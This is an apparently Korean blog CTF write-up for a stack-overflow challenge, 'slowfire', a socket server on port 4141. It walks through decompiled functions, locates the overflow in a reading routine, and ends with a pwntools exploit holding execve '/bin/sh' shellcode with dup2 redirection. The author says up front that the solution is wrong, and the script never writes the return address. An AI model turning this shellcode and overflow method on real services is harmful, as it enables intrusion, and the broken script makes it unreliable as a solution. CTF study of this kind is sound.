glibc-2.27
이 풀이는 잘못되었다
소켓과 네트워크에 대한 이해가 조금 더 필요할 것 같다
#1. 문제 살펴보기
문제를 실행해보기 전에 다음과 같은 코드가 필요하다. 그 이유는 socket() 때문이다
socket( ) 을 이용하기 위해서는 서버와 클라이언트에 대한 이해가 필요하다.
매우 개방적인 문제인 것 같다.
NX(Non eXecutable) 가 안걸려있으니 bss같은 영역에 쉘코드 올려두고 ret을 해당 주소로 덮으면 될듯..?
두둥! RWX : Has RWX segments
#2. 문제 분석하기
socket( ) <- 이 친구가 무엇을 하는 친구인지 알아보는 것이 좋을 것 같다!
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed int v4_fd; // [rsp+18h] [rbp-8h]
int v5; // [rsp+1Ch] [rbp-4h]
v5 = setup_socket(4141u);
do
{
v4_fd = accept_and_fork(v5);
if ( v4_fd > 0 )
return handle_client(v4_fd);
}
while ( v4_fd >= 0 );
return -1;
}
사용자에게 입력을 받기 시작하는 함수는 handle_client 이다.
__int64 __fastcall handle_client(unsigned int a1)
{
char v2; // [rsp+10h] [rbp-430h]
int v3; // [rsp+418h] [rbp-28h]
int v4; // [rsp+41Ch] [rbp-24h]
int v5; // [rsp+420h] [rbp-20h]
int v6; // [rsp+424h] [rbp-1Ch]
int v7; // [rsp+428h] [rbp-18h]
int v8; // [rsp+42Ch] [rbp-14h]
int v9; // [rsp+430h] [rbp-10h]
int status; // [rsp+434h] [rbp-Ch]
const char *v11; // [rsp+438h] [rbp-8h]
v11 = "Enter your name> ";
status = write_string(a1, "Enter your name> ");
if ( status < 0 )
exit(status);
v9 = read_vuln(a1, name, 0x40uLL);
if ( v9 < 0 )
exit(v9);
v11 = "Enter message> ";
v8 = write_string(a1, "Enter message> ");
if ( v8 < 0 )
exit(v8);
v7 = read_vuln(a1, &v2, 0x400uLL);
if ( v7 < 0 )
exit(v7);
invert_case(&v2);
v11 = "Greetings ";
v6 = write_string(a1, "Greetings ");
if ( v6 < 0 )
exit(v6);
v5 = write_string(a1, name);
if ( v5 < 0 )
exit(v5);
v11 = "!\n Your converted message is:\n";
v4 = write_string(a1, "!\n Your converted message is:\n");
if ( v4 < 0 )
exit(v4);
v3 = write_string(a1, &v2);
if ( v3 < 0 )
exit(v3);
return 0LL;
}
원래는 read_line_safe 라는 함수명이였는데 취약점을 발견하고 read_vuln 으로 함수명을 바꾸었다.
__int64 __fastcall read_vuln(int a1, char *var, size_t a3_0x40)
{
unsigned __int64 n; // [rsp+8h] [rbp-28h]
int v5; // [rsp+28h] [rbp-8h]
unsigned int now; // [rsp+2Ch] [rbp-4h]
n = a3_0x40;
memset(var, 0, a3_0x40);
now = 0;
do
{
v5 = read(a1, &var[now], n - 1); // read는 현재 버퍼에 적힌 인덱스 값을 반환한다
if ( v5 <= 0 ) // bof
break;
now += v5;
if ( var[now - 1] == 10 )
{
var[now - 1] = 0;
break;
}
}
while ( n > (int)now );
var[now] = 0;
return now;
}
int __cdecl write_string(int fd, char *str)
{
int max; // [rsp+14h] [rbp-Ch]
int rv; // [rsp+18h] [rbp-8h]
int total; // [rsp+1Ch] [rbp-4h]
total = 0;
max = strlen(str);
do
{
rv = write(fd, &str[total], max - total);
if ( rv <= 0 )
return rv;
total += rv;
}
while ( total < max );
return total;
}
만약 n이 0x400 일 경우에 0x39E 만큼 read 한 뒤에 0x400만큼 한번 더 read한다
그러면 bof 가 발생하므로 ret 값을 조작할 수 있겠다!
#3. 삽질
이번 문제는 socket( ) 만 없었더라면 매우 간단한 문제이다.
즉 공격시나리오는
1. name에 shellcode를 입력한다
2. 메시지를 입력할때 bof를 통해 ret에 bss영역의 주소를 준다
3. 실행권한이 있기때문에 shellcode가 실행된다!
#4. Exploit Code
그렇게 짜여진 Exploit Code는 다음과 같다.
from pwn import*
p = process('./slowfire')
r = remote('localhost',4141)
# gadget
bss = 0x4040C0
# exploit
context.arch = 'amd64'
pay = ''
pay += asm(shellcraft.dup2('rdi', 0))
pay += asm(shellcraft.dup2('rdi', 1))
pay += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
r.sendline(pay)
pay = ''
pay += 'a'*0x430 # buf
pay += 'b'*0x8 # sfp
r.sendline(pay)
r.interactive()
'CTF Review' 카테고리의 다른 글
[ stack ] Rooters CTF 2019 baby_pwn (0) | 2019.11.13 |
---|---|
[ heap ] Backdoorctf 2019 babytcache (0) | 2019.11.06 |
[ heap ] 0CTF 2019 baby_aegis (0) | 2019.10.31 |
[ heap ] HSCTF 2019 aria-writer-v3 (0) | 2019.10.07 |
[ stack ] NACTF 2019 bufover-1 (0) | 2019.10.03 |